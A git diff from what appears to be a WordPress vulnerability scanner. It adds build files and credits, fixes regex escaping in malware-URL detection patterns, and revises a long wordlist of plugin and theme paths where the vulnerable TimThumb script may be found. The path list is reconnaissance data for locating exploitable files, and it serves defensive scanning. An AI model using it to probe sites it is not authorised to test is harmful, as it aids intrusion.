diff --git a/.gitignore b/.gitignore
index f2d31748..e2eda968 100644
--- a/.gitignore
+++ b/.gitignore
@@ -3,3 +3,4 @@ coverage
 .DS_Store
 .DS_Store?
 *.sublime-*
+.idea
diff --git a/CREDITS b/CREDITS
index aa48164e..02088591 100644
--- a/CREDITS
+++ b/CREDITS
@@ -15,3 +15,4 @@ michee08 - Reported and gave potential solutions to bugs.
 Callum Pember - Implemented proxy support - callumpember at gmail.com
 g0tmi1k - Additional timthumb checks + bug reports.
 Melvin Lammerts - Reported a couple of fake vulnerabilities - melvin at 12k.nl
+Christian Mehlmauer - @_FireFart_ - Theme enumeration
\ No newline at end of file
diff --git a/Gemfile b/Gemfile
new file mode 100644
index 00000000..3d5b0dd7
--- /dev/null
+++ b/Gemfile
@@ -0,0 +1,7 @@
+source "https://rubygems.org"
+
+gem "typhoeus"
+gem "rspec", :require => "spec"
+gem "nokogiri"
+gem "webmock"
+gem "simplecov"
diff --git a/Gemfile.lock b/Gemfile.lock
new file mode 100644
index 00000000..ff3cdf4b
--- /dev/null
+++ b/Gemfile.lock
@@ -0,0 +1,38 @@
+GEM
+  remote: https://rubygems.org/
+  specs:
+    addressable (2.3.2)
+    crack (0.3.1)
+    diff-lcs (1.1.3)
+    ffi (1.1.5)
+    mime-types (1.19)
+    multi_json (1.3.6)
+    nokogiri (1.5.5)
+    rspec (2.11.0)
+      rspec-core (~> 2.11.0)
+      rspec-expectations (~> 2.11.0)
+      rspec-mocks (~> 2.11.0)
+    rspec-core (2.11.1)
+    rspec-expectations (2.11.3)
+      diff-lcs (~> 1.1.3)
+    rspec-mocks (2.11.3)
+    simplecov (0.6.4)
+      multi_json (~> 1.0)
+      simplecov-html (~> 0.5.3)
+    simplecov-html (0.5.3)
+    typhoeus (0.4.2)
+      ffi (~> 1.0)
+      mime-types (~> 1.18)
+    webmock (1.8.10)
+      addressable (>= 2.2.7)
+      crack (>= 0.1.7)
+
+PLATFORMS
+  ruby
+
+DEPENDENCIES
+  nokogiri
+  rspec
+  simplecov
+  typhoeus
+  webmock
diff --git a/data/malwares.txt b/data/malwares.txt
index 5b770ab9..b182d9db 100644
--- a/data/malwares.txt
+++ b/data/malwares.txt
@@ -1,3 +1,3 @@
-http://.*.rr.nu
-http://www.thesea.org/media.php
+http://.*\.rr\.nu
+http://www\.thesea\.org/media\.php
 
diff --git a/data/timthumbs.txt b/data/timthumbs.txt
index 3ba8dcdf..3ce17d1d 100644
--- a/data/timthumbs.txt
+++ b/data/timthumbs.txt
@@ -1,2447 +1,2446 @@
 timthumb.php
-$wp-content$/themes/eGamer/timthumb.php
-$wp-content$/arras/library/timthumb.php
-$wp-content$/timthumb.php
-$wp-plugins$/add-new-default-avatar-emrikols-fork/includes/thumb.php
-$wp-plugins$/add-new-default-avatar-emrikols-fork/includes/timthumb.php
-$wp-plugins$/a-gallery/thumb.php
-$wp-plugins$/a-gallery/timthumb.php
-$wp-plugins$/auto-attachments/thumb.php
-$wp-plugins$/auto-attachments/thumb.phpthumb.php
-$wp-plugins$/auto-attachments/thumb.phptimthumb.php
-$wp-plugins$/cac-featured-content/timthumb.php
-$wp-plugins$/category-grid-view-gallery/includes/thumb.php
-$wp-plugins$/category-grid-view-gallery/includes/timthumb.php
-$wp-plugins$/category-grid-view-gallery/timthumb.php
-$wp-plugins$/category-list-portfolio-page/scripts/timthumb.php
-$wp-plugins$/cms-pack/timthumb.php
-$wp-plugins$/communitypress/cp-themes/cp-default/timthumb.php
-$wp-plugins$/db-toolkit/libs/thumb.php
-$wp-plugins$/db-toolkit/libs/timthumb.php
-$wp-plugins$/dp-thumbnail/timthumb/thumb.php
-$wp-plugins$/dp-thumbnail/timthumb/timthumb.php
-$wp-plugins$/dp-thumbnail/timthumb/timthumb.phpthumb.php
-$wp-plugins$/dp-thumbnail/timthumb/timthumb.phptimthumb.php
-$wp-plugins$/dukapress/lib/thumb.php
-$wp-plugins$/dukapress/lib/timthumb.php
-$wp-plugins$/dukapress/lib/timthumb.phpthumb.php
-$wp-plugins$/dukapress/lib/timthumb.phptimthumb.php
-$wp-plugins$/dukapress/timthumb.php
-$wp-plugins$/ecobiz/timthumb.php
-$wp-plugins$/ePhoto/timthumb.php
-$wp-plugins$/event-espresso-free/includes/functions/timthumb.php
-$wp-plugins$/events-manager/includes/thumbnails/timthumb.php
-$wp-plugins$/extend-wordpress/helpers/timthumb/image.php
-$wp-plugins$/featured-post-with-thumbnail/scripts/timthumb.php
-$wp-plugins$/feature-slideshow/timthumb.php
-$wp-plugins$/fotoslide/timthumb.php
-$wp-plugins$/front-slider/scripts/timthumb.php
-$wp-plugins$/geotag/tools/timthumb/timthumb.php
-$wp-plugins$/geotag/tools/timthumb/timthumb.phptimthumb.php
-$wp-plugins$/highlighter/libs/timthumb.php
-$wp-plugins$/hungred-image-fit/scripts/timthumb.php
-$wp-plugins$/igit-posts-slider-widget/timthumb.php
-$wp-plugins$/igit-related-posts-widget/timthumb.php
-$wp-plugins$/igit-related-posts-with-thumb-images-after-posts/thumb.php
-$wp-plugins$/igit-related-posts-with-thumb-images-after-posts/timthumb.php
-$wp-plugins$/image-rotator-widget/timthumb.php
-$wp-plugins$/image-symlinks/custom/thumb.php
-$wp-plugins$/image-symlinks/custom/timthumb.php
-$wp-plugins$/image-symlinks/framework/includes/thumb.php
-$wp-plugins$/image-symlinks/framework/includes/timthumb.php
-$wp-plugins$/image-symlinks/framework/thumb/thumb.php
-$wp-plugins$/image-symlinks/framework/thumb/timthumb.php
-$wp-plugins$/image-symlinks/functions/scripts/thumb.php
-$wp-plugins$/image-symlinks/functions/scripts/timthumb.php
-$wp-plugins$/image-symlinks/functions/thumb.php
-$wp-plugins$/image-symlinks/functions/thumb/thumb.php
-$wp-plugins$/image-symlinks/functions/timthumb.php
-$wp-plugins$/image-symlinks/functions/timthumb/timthumb.php
-$wp-plugins$/image-symlinks/images/thumb.php
-$wp-plugins$/image-symlinks/images/timthumb.php
-$wp-plugins$/image-symlinks/includes/thumb.php
-$wp-plugins$/image-symlinks/includes/thumb/thumb.php
-$wp-plugins$/image-symlinks/includes/thumb/timthumb.php
-$wp-plugins$/image-symlinks/includes/timthumb.php
-$wp-plugins$/image-symlinks/includes/timthumb/timthumb.php
-$wp-plugins$/image-symlinks/inc/thumb.php
-$wp-plugins$/image-symlinks/inc/timthumb.php
-$wp-plugins$/image-symlinks/js/thumb.php
-$wp-plugins$/image-symlinks/js/timthumb.php
-$wp-plugins$/image-symlinks/layouts/thumb.php
-$wp-plugins$/image-symlinks/layouts/timthumb.php
-$wp-plugins$/image-symlinks/lib/custom/thumb.php
-$wp-plugins$/image-symlinks/lib/custom/timthumb.php
-$wp-plugins$/image-symlinks/library/functions/thumb.php
-$wp-plugins$/image-symlinks/library/functions/timthumb.php
-$wp-plugins$/image-symlinks/library/resource/thumb.php
-$wp-plugins$/image-symlinks/library/resource/timthumb.php
-$wp-plugins$/image-symlinks/library/thumb.php
-$wp-plugins$/image-symlinks/library/thumb/thumb.php
-$wp-plugins$/image-symlinks/library/thumb/timthumb.php
-$wp-plugins$/image-symlinks/library/timthumb.php
-$wp-plugins$/image-symlinks/library/timthumb/timthumb.php
-$wp-plugins$/image-symlinks/lib/script/thumb.php
-$wp-plugins$/image-symlinks/lib/script/timthumb.php
-$wp-plugins$/image-symlinks/lib/thumb.php
-$wp-plugins$/image-symlinks/lib/thumb/thumb.php
-$wp-plugins$/image-symlinks/lib/thumb/timthumb.php
-$wp-plugins$/image-symlinks/lib/timthumb.php
-$wp-plugins$/image-symlinks/lib/timthumb/timthumb.php
-$wp-plugins$/image-symlinks/modules/thumb.php
-$wp-plugins$/image-symlinks/modules/timthumb.php
-$wp-plugins$/image-symlinks/options/thumb.php
-$wp-plugins$/image-symlinks/options/timthumb.php
-$wp-plugins$/image-symlinks/scripts/thumb.php
-$wp-plugins$/image-symlinks/scripts/thumb/thumb.php
-$wp-plugins$/image-symlinks/scripts/thumb/timthumb.php
-$wp-plugins$/image-symlinks/scripts/timthumb.php
-$wp-plugins$/image-symlinks/scripts/timthumb/timthumb.php
-$wp-plugins$/image-symlinks//thumb.php
-$wp-plugins$/image-symlinks/thumb/thumb.php
-$wp-plugins$/image-symlinks/thumb/timthumb.php
-$wp-plugins$/image-symlinks//timthumb.php
-$wp-plugins$/image-symlinks/timthumb.php
-$wp-plugins$/image-symlinks/timthumb/timthumb.php
-$wp-plugins$/image-symlinks/tools/thumb.php
-$wp-plugins$/image-symlinks/tools/thumb/thumb.php
-$wp-plugins$/image-symlinks/tools/thumb/timthumb.php
-$wp-plugins$/image-symlinks/tools/timthumb.php
-$wp-plugins$/image-symlinks/tools/timthumb/timthumb.php
-$wp-plugins$/islidex/includes/timthumb/timthumb.php
-$wp-plugins$/islidex/js/thumb.php
-$wp-plugins$/islidex/js/timthumb.php
-$wp-plugins$/islidex/js/timthumb.phpthumb.php
-$wp-plugins$/islidex/js/timthumb.phptimthumb.php
-$wp-plugins$/jquery-slider-for-featured-content/scripts/timthumb.php
-$wp-plugins$/kc-related-posts-by-category/timthumb.php
-$wp-plugins$/kino-gallery/timthumb.php
-$wp-plugins$/lisl-last-image-slider/timthumb.php
-$wp-plugins$/logo-management/includes/timthumb.php
-$wp-plugins$/mangapress/includes/mangapress-timthumb.php
-$wp-plugins$/mediarss-external-gallery/timthumb.php
-$wp-plugins$/meenews-newsletter/inc/classes/timthumb.php
-$wp-plugins$/mobileposty-mobile-site-generator/timthumb.php
-$wp-plugins$/mobile-smart/includes/timthumb.php
-$wp-plugins$/pictmobi-widget/timthumb.php
-$wp-plugins$/premium-list-magnet/inc/thumb.php
-$wp-plugins$/premium-list-magnet/inc/timthumb.php
-$wp-plugins$/really-easy-slider/inc/thumb.php
-$wp-plugins$/rent-a-car/libs/timthumb.php
-$wp-plugins$/seo-image-galleries/timthumb.php
-$wp-plugins$/sharepulse/timthumb.php
-$wp-plugins$/shortcodes-ultimate/lib/timthumb.php
-$wp-plugins$/sh-slideshow/timthumb.php
-$wp-plugins$/simple-coverflow/timthumb.php
-$wp-plugins$/simple-post-thumbnails/timthumb.php
-$wp-plugins$/simple-slide-show/timthumb.php
-$wp-plugins$/sliceshow-slideshow/scripts/timthumb.php
-$wp-plugins$/slider-pro/includes/timthumb/timthumb.php
-$wp-plugins$/smart-related-posts-thumbnails/timthumb.php
-$wp-plugins$/tag-gallery/timthumb/timthumb.php
-$wp-plugins$/thethe-image-slider/timthumb.php
-$wp-plugins$/thumbnails-anywhere/timthumb.php
-$wp-plugins$/timthumb-meets-tinymce/ttplugin/timthumb.php
-$wp-plugins$/timthumb-vulnerability-scanner/cg-tvs-admin-panel.php
-$wp-plugins$/tim-widget/scripts/timthumb.php
-$wp-plugins$/todo-espaco-online-links-felipe/timthumb.php
-$wp-plugins$/uBillboard/cache/timthumb.php
-$wp-plugins$/uBillboard/lib/timthumb.php
-$wp-plugins$/uBillboard/thumb.php
-$wp-plugins$/uBillboard/timthumb.php
-$wp-plugins$/uBillboard/timthumb.phpthumb.php
-$wp-plugins$/uBillboard/timthumb.phptimthumb.php
-$wp-plugins$/verve-meta-boxes/tools/timthumb.php
-$wp-plugins$/vk-gallery/lib/thumb.php
-$wp-plugins$/vk-gallery/lib/timthumb.php
-$wp-plugins$/vslider/thumb.php
-$wp-plugins$/vslider/timthumb.php
-$wp-plugins$/woo-tumblog/functions/thumb.php
-$wp-plugins$/wordpress-gallery-plugin/timthumb.php
-$wp-plugins$/wordpress-news-ticker-plugin/timthumb.php
-$wp-plugins$/wordpress-popular-posts/scripts/timthumb.php
-$wp-plugins$/wordpress-thumbnail-slider/timthumb.php
-$wp-plugins$/wp-dailybooth/timthumb.php
-$wp-plugins$/wp-featured-post-with-thumbnail/scripts/timthumb.php
-$wp-plugins$/wp-marketplace/libs/thumb.php
-$wp-plugins$/wp-marketplace/libs/timthumb.php
-$wp-plugins$/wp-marketplace/libs/timthumb.phpthumb.php
-$wp-plugins$/wp-marketplace/libs/timthumb.phptimthumb.php
-$wp-plugins$/wpmarketplace/timthumb.php
-$wp-plugins$/wp-mobile-detector/thumb.php
-$wp-plugins$/wp-mobile-detector/timthumb.php
-$wp-plugins$/wp-pagenavi/functions/thumb.php
-$wp-plugins$/wp-pagenavi/functions/timthumb.php
-$wp-plugins$/wp-pagenavi/inc/thumb.php
-$wp-plugins$/wp-pagenavi/inc/timthumb.php
-$wp-plugins$/wp-pagenavi/scripts/thumb.php
-$wp-plugins$/wp-pagenavi/scripts/timthumb.php
-$wp-plugins$/wp-pagenavi/thumb.php
-$wp-plugins$/wp-pagenavi/timthumb.php
-$wp-plugins$/wp-pagenavi/timthumb.phptimthumb.php
-$wp-plugins$/wp_roknewspager/thumb.php
-$wp-plugins$/wp_roknewspager/thumb.phpthumb.php
-$wp-plugins$/wp_roknewspager/thumb.phptimthumb.php
-$wp-plugins$/wp_roknewspager/timthumb.php
-$wp-plugins$/wp_rokstories/thumb.php
-$wp-plugins$/wp_rokstories/thumb.phptimthumb.php
-$wp-plugins$/wp_rokstories/timthumb.php
-$wp-plugins$/wps3slider/scripts/timthumb.php
-$wp-plugins$/wp-slick-slider/includes/timthumb/timthumb.php
-$wp-plugins$/wptap-news-press-themeplugin-for-iphone/include/timthumb.php
-$wp-plugins$/wp-thumbie/timthumb.php
-$wp-plugins$/wp-thumbie/timthumb.php;;18755
-$wp-plugins$/yd-export2email/timthumb.php
-$wp-plugins$/yd-recent-posts-widget/timthumb/timthumb.php
-$wp-plugins$/zingiri-web-shop/fws/addons/timthumb/thumb.php
-$wp-plugins$/zingiri-web-shop/fws/addons/timthumb/timthumb.php
-$wp-plugins$/zingiri-web-shop/timthumb.php
-$wp-contents$/themes/modularity/includes/timthumb.php
-$wp-content$/theme/magazinum/scripts/timthumb.php
-$wp-content$/themes/13floor/timthumb.php
-$wp-content$/themes/13floor/tools/timthumb.php
-$wp-content$/themes/8cells/timthumb.php
-$wp-content$/themes/8Cells/timthumb.php
-$wp-content$/themes/8q/scripts/thumb.php
-$wp-content$/themes/8q/scripts/timthumb.php
-$wp-content$/themes/abstract/custom/thumb.php
-$wp-content$/themes/abstract/custom/timthumb.php
-$wp-content$/themes/abstract/framework/includes/thumb.php
-$wp-content$/themes/abstract/framework/includes/timthumb.php
-$wp-content$/themes/abstract/framework/thumb/thumb.php
-$wp-content$/themes/abstract/framework/thumb/timthumb.php
-$wp-content$/themes/abstract/functions/scripts/thumb.php
-$wp-content$/themes/abstract/functions/scripts/timthumb.php
-$wp-content$/themes/abstract/functions/thumb.php
-$wp-content$/themes/abstract/functions/thumb/thumb.php
-$wp-content$/themes/abstract/functions/timthumb.php
-$wp-content$/themes/abstract/functions/timthumb/timthumb.php
-$wp-content$/themes/abstract/images/thumb.php
-$wp-content$/themes/abstract/images/timthumb.php
-$wp-content$/themes/abstract/includes/thumb.php
-$wp-content$/themes/abstract/includes/thumb/thumb.php
-$wp-content$/themes/abstract/includes/thumb/timthumb.php
-$wp-content$/themes/abstract/includes/timthumb.php
-$wp-content$/themes/abstract/includes/timthumb/timthumb.php
-$wp-content$/themes/abstract/inc/thumb.php
-$wp-content$/themes/abstract/inc/timthumb.php
-$wp-content$/themes/abstract/js/thumb.php
-$wp-content$/themes/abstract/js/timthumb.php
-$wp-content$/themes/abstract/layouts/thumb.php
-$wp-content$/themes/abstract/layouts/timthumb.php
-$wp-content$/themes/abstract/lib/custom/thumb.php
-$wp-content$/themes/abstract/lib/custom/timthumb.php
-$wp-content$/themes/abstract/library/functions/thumb.php
-$wp-content$/themes/abstract/library/functions/timthumb.php
-$wp-content$/themes/abstract/library/resource/thumb.php
-$wp-content$/themes/abstract/library/resource/timthumb.php
-$wp-content$/themes/abstract/library/thumb.php
-$wp-content$/themes/abstract/library/thumb/thumb.php
-$wp-content$/themes/abstract/library/thumb/timthumb.php
-$wp-content$/themes/abstract/library/timthumb.php
-$wp-content$/themes/abstract/library/timthumb/timthumb.php
-$wp-content$/themes/abstract/lib/script/thumb.php
-$wp-content$/themes/abstract/lib/script/timthumb.php
-$wp-content$/themes/abstract/lib/thumb.php
-$wp-content$/themes/abstract/lib/thumb/thumb.php
-$wp-content$/themes/abstract/lib/thumb/timthumb.php
-$wp-content$/themes/abstract/lib/timthumb.php
-$wp-content$/themes/abstract/lib/timthumb/timthumb.php
-$wp-content$/themes/abstract/modules/thumb.php
-$wp-content$/themes/abstract/modules/timthumb.php
-$wp-content$/themes/abstract/options/thumb.php
-$wp-content$/themes/abstract/options/timthumb.php
-$wp-content$/themes/abstract/scripts/thumb.php
-$wp-content$/themes/abstract/scripts/thumb/thumb.php
-$wp-content$/themes/abstract/scripts/thumb/timthumb.php
-$wp-content$/themes/abstract/scripts/timthumb.php
-$wp-content$/themes/abstract/scripts/timthumb/timthumb.php
-$wp-content$/themes/abstract//thumb.php
-$wp-content$/themes/abstract/thumb.php
-$wp-content$/themes/abstract/thumb/thumb.php
-$wp-content$/themes/abstract/thumb/timthumb.php
-$wp-content$/themes/abstract//timthumb.php
-$wp-content$/themes/abstract/timthumb/timthumb.php
-$wp-content$/themes/abstract/tools/thumb.php
-$wp-content$/themes/abstract/tools/thumb/thumb.php
-$wp-content$/themes/abstract/tools/thumb/timthumb.php
-$wp-content$/themes/abstract/tools/timthumb.php
-$wp-content$/themes/abstract/tools/timthumb/timthumb.php
-$wp-content$/themes/academica/scripts/timthumb.php
-$wp-content$/themes/acens/timthumb.php
-$wp-content$/themes/advanced-newspaper/timthumb.php
-$wp-content$/themes/aerial/lib/thumb.php
-$wp-content$/themes/aerial/lib/timthumb.php
-$wp-content$/themes/aesthete/timthumb.php
-$wp-content$/themes/agentpress/tools/timthumb.php
-$wp-content$/themes/Aggregate/thumb.php
-$wp-content$/themes/Aggregate/timthumb.php
-$wp-content$/themes/albizia/includes/thumb.php
-$wp-content$/themes/albizia/includes/timthumb.php
-$wp-content$/themes/albizia/includes/timthumb.phpthumb.php
-$wp-content$/themes/albizia/includes/timthumb.phptimthumb.php
-$wp-content$/themes/Alphalious/timthumb.php
-$wp-content$/themes/amphion-lite/script/thumb.php
-$wp-content$/themes/amphion-lite/script/timthumb.php
-$wp-content$/themes/annoucement/functions/thumb.php
-$wp-content$/themes/announcement/functions/thumb.php
-$wp-content$/themes/announcement/functions/thumb.phptimthumb.php
-$wp-content$/themes/announcement/functions/timthumb.php
-$wp-content$/themes/antisocial/functions/thumb.php
-$wp-content$/themes/antisocial/thumb.php
-$wp-content$/themes/aperture/functions/thumb.php
-$wp-content$/themes/aperture/thumb.php
-$wp-content$/themes/apz/functions/thumb.php
-$wp-content$/themes/Apz/scripts/timthumb.php
-$wp-content$/themes/apz/thumb.php
-$wp-content$/themes/Apz/thumb.php
-$wp-content$/themes/Apz/timthumb.php
-$wp-content$/themes/Apz/tools/timthumb.php
-$wp-content$/themes/Apz.v1.0.2/thumb.php
-$wp-content$/themes/Apz.v1.0.2/timthumb.php
-$wp-content$/themes/aqua-blue/includes/timthumb.php
-$wp-content$/themes/aqua-blue/scripts/timthumb.php
-$wp-content$/themes/aqua-blue/timthumb.php
-$wp-content$/themes/aqua-blue/tools/timthumb.php
-$wp-content$/themes/aranovo/scripts/timthumb.php
-$wp-content$/themes/arras/library/cache/timthumb.php
-$wp-content$/themes/arras/library/thumb.php
-$wp-content$/themes/arras/library/timthumb.php
-$wp-content$/themes/arras/library/timthumb.phpthumb.php
-$wp-content$/themes/arras/library/timthumb.phptimthumb.php
-$wp-content$/themes/arras/scripts/timthumb.php
-$wp-content$/themes/arras-theme/library/thumb.php
-$wp-content$/themes/arras-theme/library/timthumb.php
-$wp-content$/themes/arras/thumb.php
-$wp-content$/themes/arras/timthumb.php
-$wp-content$/themes/artgallery/timthumb.php
-$wp-content$/themes/arthemia-premium-park/scripts/timthumb.php
-$wp-content$/themes/arthemia-premium-park/scripts/timthumb.phptimthumb.php
-$wp-content$/themes/arthemia-premium/scripts/timthumb.php
-$wp-content$/themes/arthemia/scripts/timthumb.php
-$wp-content$/themes/arthemix-bronze/scripts/timthumb.php
-$wp-content$/themes/arthemix-green/scripts/thumb.php
-$wp-content$/themes/arthemix-green/scripts/timthumb.php
-$wp-content$/themes/arthem-mod/scripts/timthumb.php
-$wp-content$/themes/arthem-mod/timthumb.php
-$wp-content$/themes/artisan/includes/timthumb.php
-$wp-content$/themes/ArtSee/thumb.php
-$wp-content$/themes/ArtSee/timthumb.php
-$wp-content$/themes/a-simple-business-theme/scripts/thumb.php
-$wp-content$/themes/a-simple-business-theme/scripts/timthumb.php
-$wp-content$/themes/AskIt/thumb.php
-$wp-content$/themes/askit/timthumb.php
-$wp-content$/themes/AskIt/timthumb.php
-$wp-content$/themes/AskIt/timthumb.phpthumb.php
-$wp-content$/themes/AskIt/timthumb.phptimthumb.php
-$wp-content$/themes/AskIt/tools/timthumb.php
-$wp-content$/themes/AskIt/tools/timthumb.phpthumb.php
-$wp-content$/themes/AskIt/tools/timthumb.phptimthumb.php
-$wp-content$/themes/AskIt_v1.6/AskIt/timthumb.php
-$wp-content$/themes/askit_v1.6/timthumb.php
-$wp-content$/themes/AskIt_v1.6/timthumb.php
-$wp-content$/themes/a-supercms/thumb.php
-$wp-content$/themes/a-supercms/timthumb.php
-$wp-content$/themes/aureola/scripts/timthumb.php
-$wp-content$/themes/aurorae/timthumb.php
-$wp-content$/themes/autofashion/thumb.php
-$wp-content$/themes/autofashion/timthumb.php
-$wp-content$/themes/automotive-blog-theme/Quick%20Cash%20Auto/timthumb.php
-$wp-content$/themes/automotive-blog-theme/timthumb.php
-$wp-content$/themes/Avenue/cache/thumb.php
-$wp-content$/themes/Avenue/thumb.php
-$wp-content$/themes/avenue/timthumb.php
-$wp-content$/themes/Avenue/timthumb.php
-$wp-content$/themes/Avenue/timthumb.phpthumb.php
-$wp-content$/themes/Avenue/timthumb.phptimthumb.php
-$wp-content$/themes/awake/lib/scripts/thumb.php
-$wp-content$/themes/awake/lib/scripts/timthumb.php
-$wp-content$/themes/backstage/backstage/thumb.php
-$wp-content$/themes/backstage/custom/thumb.php
-$wp-content$/themes/backstage/custom/timthumb.php
-$wp-content$/themes/backstage/framework/includes/thumb.php
-$wp-content$/themes/backstage/framework/includes/timthumb.php
-$wp-content$/themes/backstage/framework/thumb/thumb.php
-$wp-content$/themes/backstage/framework/thumb/timthumb.php
-$wp-content$/themes/backstage/functions/scripts/thumb.php
-$wp-content$/themes/backstage/functions/scripts/timthumb.php
-$wp-content$/themes/backstage/functions/thumb.php
-$wp-content$/themes/backstage/functions/thumb/thumb.php
-$wp-content$/themes/backstage/functions/timthumb.php
-$wp-content$/themes/backstage/functions/timthumb/timthumb.php
-$wp-content$/themes/backstage/images/thumb.php
-$wp-content$/themes/backstage/images/timthumb.php
-$wp-content$/themes/backstage/includes/thumb.php
-$wp-content$/themes/backstage/includes/thumb/thumb.php
-$wp-content$/themes/backstage/includes/thumb/timthumb.php
-$wp-content$/themes/backstage/includes/timthumb.php
-$wp-content$/themes/backstage/includes/timthumb/timthumb.php
-$wp-content$/themes/backstage/inc/thumb.php
-$wp-content$/themes/backstage/inc/timthumb.php
-$wp-content$/themes/backstage/js/thumb.php
-$wp-content$/themes/backstage/js/timthumb.php
-$wp-content$/themes/backstage/layouts/thumb.php
-$wp-content$/themes/backstage/layouts/timthumb.php
-$wp-content$/themes/backstage/lib/custom/thumb.php
-$wp-content$/themes/backstage/lib/custom/timthumb.php
-$wp-content$/themes/backstage/library/functions/thumb.php
-$wp-content$/themes/backstage/library/functions/timthumb.php
-$wp-content$/themes/backstage/library/resource/thumb.php
-$wp-content$/themes/backstage/library/resource/timthumb.php
-$wp-content$/themes/backstage/library/thumb.php
-$wp-content$/themes/backstage/library/thumb/thumb.php
-$wp-content$/themes/backstage/library/thumb/timthumb.php
-$wp-content$/themes/backstage/library/timthumb.php
-$wp-content$/themes/backstage/library/timthumb/timthumb.php
-$wp-content$/themes/backstage/lib/script/thumb.php
-$wp-content$/themes/backstage/lib/script/timthumb.php
-$wp-content$/themes/backstage/lib/thumb.php
-$wp-content$/themes/backstage/lib/thumb/thumb.php
-$wp-content$/themes/backstage/lib/thumb/timthumb.php
-$wp-content$/themes/backstage/lib/timthumb.php
-$wp-content$/themes/backstage/lib/timthumb/timthumb.php
-$wp-content$/themes/backstage/modules/thumb.php
-$wp-content$/themes/backstage/modules/timthumb.php
-$wp-content$/themes/backstage/options/thumb.php
-$wp-content$/themes/backstage/options/timthumb.php
-$wp-content$/themes/backstage/scripts/thumb.php
-$wp-content$/themes/backstage/scripts/thumb/thumb.php
-$wp-content$/themes/backstage/scripts/thumb/timthumb.php
-$wp-content$/themes/backstage/scripts/timthumb.php
-$wp-content$/themes/backstage/scripts/timthumb/timthumb.php
-$wp-content$/themes/backstage//thumb.php
-$wp-content$/themes/backstage/thumb.php
-$wp-content$/themes/backstage/thumb/thumb.php
-$wp-content$/themes/backstage/thumb/timthumb.php
-$wp-content$/themes/backstage//timthumb.php
-$wp-content$/themes/backstage/timthumb.php
-$wp-content$/themes/backstage/timthumb/timthumb.php
-$wp-content$/themes/backstage/tools/thumb.php
-$wp-content$/themes/backstage/tools/thumb/thumb.php
-$wp-content$/themes/backstage/tools/thumb/timthumb.php
-$wp-content$/themes/backstage/tools/timthumb.php
-$wp-content$/themes/backstage/tools/timthumb/timthumb.php
-$wp-content$/themes/Basic/timthumb.php
-$wp-content$/themes/Basic/tools/timthumb.php
-$wp-content$/themes/bigcity/shortcodes-ultimate/lib/timthumb.php
-$wp-content$/themes/bigcity/timthumb.php
-$wp-content$/themes/BigFeature/library/timthumb.php
-$wp-content$/themes/BigFeature/library/timthumb/timthumb.php
-$wp-content$/themes/bikes/thumb.php
-$wp-content$/themes/biznizz/functions/thumb.php
-$wp-content$/themes/biznizz/thumb.php
-$wp-content$/themes/biznizz//timthumb.php
-$wp-content$/themes/bizpress/scripts/timthumb.php
-$wp-content$/themes/black_eve/timthumb.php
-$wp-content$/themes/BLAKESLEY/theme/classes/timthumb.php
-$wp-content$/themes/blex/scripts/thumb.php
-$wp-content$/themes/blex/scripts/timthumb.php
-$wp-content$/themes/bloggingstream/custom/thumb.php
-$wp-content$/themes/bloggingstream/custom/timthumb.php
-$wp-content$/themes/bloggingstream/framework/includes/thumb.php
-$wp-content$/themes/bloggingstream/framework/includes/timthumb.php
-$wp-content$/themes/bloggingstream/framework/thumb/thumb.php
-$wp-content$/themes/bloggingstream/framework/thumb/timthumb.php
-$wp-content$/themes/bloggingstream/functions/scripts/thumb.php
-$wp-content$/themes/bloggingstream/functions/scripts/timthumb.php
-$wp-content$/themes/bloggingstream/functions/thumb.php
-$wp-content$/themes/bloggingstream/functions/thumb/thumb.php
-$wp-content$/themes/bloggingstream/functions/timthumb.php
-$wp-content$/themes/bloggingstream/functions/timthumb/timthumb.php
-$wp-content$/themes/bloggingstream/images/thumb.php
-$wp-content$/themes/bloggingstream/images/timthumb.php
-$wp-content$/themes/bloggingstream/includes/thumb.php
-$wp-content$/themes/bloggingstream/includes/thumb/thumb.php
-$wp-content$/themes/bloggingstream/includes/thumb/timthumb.php
-$wp-content$/themes/bloggingstream/includes/timthumb.php
-$wp-content$/themes/bloggingstream/includes/timthumb/timthumb.php
-$wp-content$/themes/bloggingstream/inc/thumb.php
-$wp-content$/themes/bloggingstream/inc/timthumb.php
-$wp-content$/themes/bloggingstream/js/thumb.php
-$wp-content$/themes/bloggingstream/js/timthumb.php
-$wp-content$/themes/bloggingstream/layouts/thumb.php
-$wp-content$/themes/bloggingstream/layouts/timthumb.php
-$wp-content$/themes/bloggingstream/lib/custom/thumb.php
-$wp-content$/themes/bloggingstream/lib/custom/timthumb.php
-$wp-content$/themes/bloggingstream/library/functions/thumb.php
-$wp-content$/themes/bloggingstream/library/functions/timthumb.php
-$wp-content$/themes/bloggingstream/library/resource/thumb.php
-$wp-content$/themes/bloggingstream/library/resource/timthumb.php
-$wp-content$/themes/bloggingstream/library/thumb.php
-$wp-content$/themes/bloggingstream/library/thumb/thumb.php
-$wp-content$/themes/bloggingstream/library/thumb/timthumb.php
-$wp-content$/themes/bloggingstream/library/timthumb.php
-$wp-content$/themes/bloggingstream/library/timthumb/timthumb.php
-$wp-content$/themes/bloggingstream/lib/script/thumb.php
-$wp-content$/themes/bloggingstream/lib/script/timthumb.php
-$wp-content$/themes/bloggingstream/lib/thumb.php
-$wp-content$/themes/bloggingstream/lib/thumb/thumb.php
-$wp-content$/themes/bloggingstream/lib/thumb/timthumb.php
-$wp-content$/themes/bloggingstream/lib/timthumb.php
-$wp-content$/themes/bloggingstream/lib/timthumb/timthumb.php
-$wp-content$/themes/bloggingstream/modules/thumb.php
-$wp-content$/themes/bloggingstream/modules/timthumb.php
-$wp-content$/themes/bloggingstream/options/thumb.php
-$wp-content$/themes/bloggingstream/options/timthumb.php
-$wp-content$/themes/bloggingstream/scripts/thumb.php
-$wp-content$/themes/bloggingstream/scripts/thumb/thumb.php
-$wp-content$/themes/bloggingstream/scripts/thumb/timthumb.php
-$wp-content$/themes/bloggingstream/scripts/timthumb.php
-$wp-content$/themes/bloggingstream/scripts/timthumb/timthumb.php
-$wp-content$/themes/bloggingstream//thumb.php
-$wp-content$/themes/bloggingstream/thumb.php
-$wp-content$/themes/bloggingstream/thumb/thumb.php
-$wp-content$/themes/bloggingstream/thumb/timthumb.php
-$wp-content$/themes/bloggingstream//timthumb.php
-$wp-content$/themes/bloggingstream/timthumb/timthumb.php
-$wp-content$/themes/bloggingstream/tools/thumb.php
-$wp-content$/themes/bloggingstream/tools/thumb/thumb.php
-$wp-content$/themes/bloggingstream/tools/thumb/timthumb.php
-$wp-content$/themes/bloggingstream/tools/timthumb.php
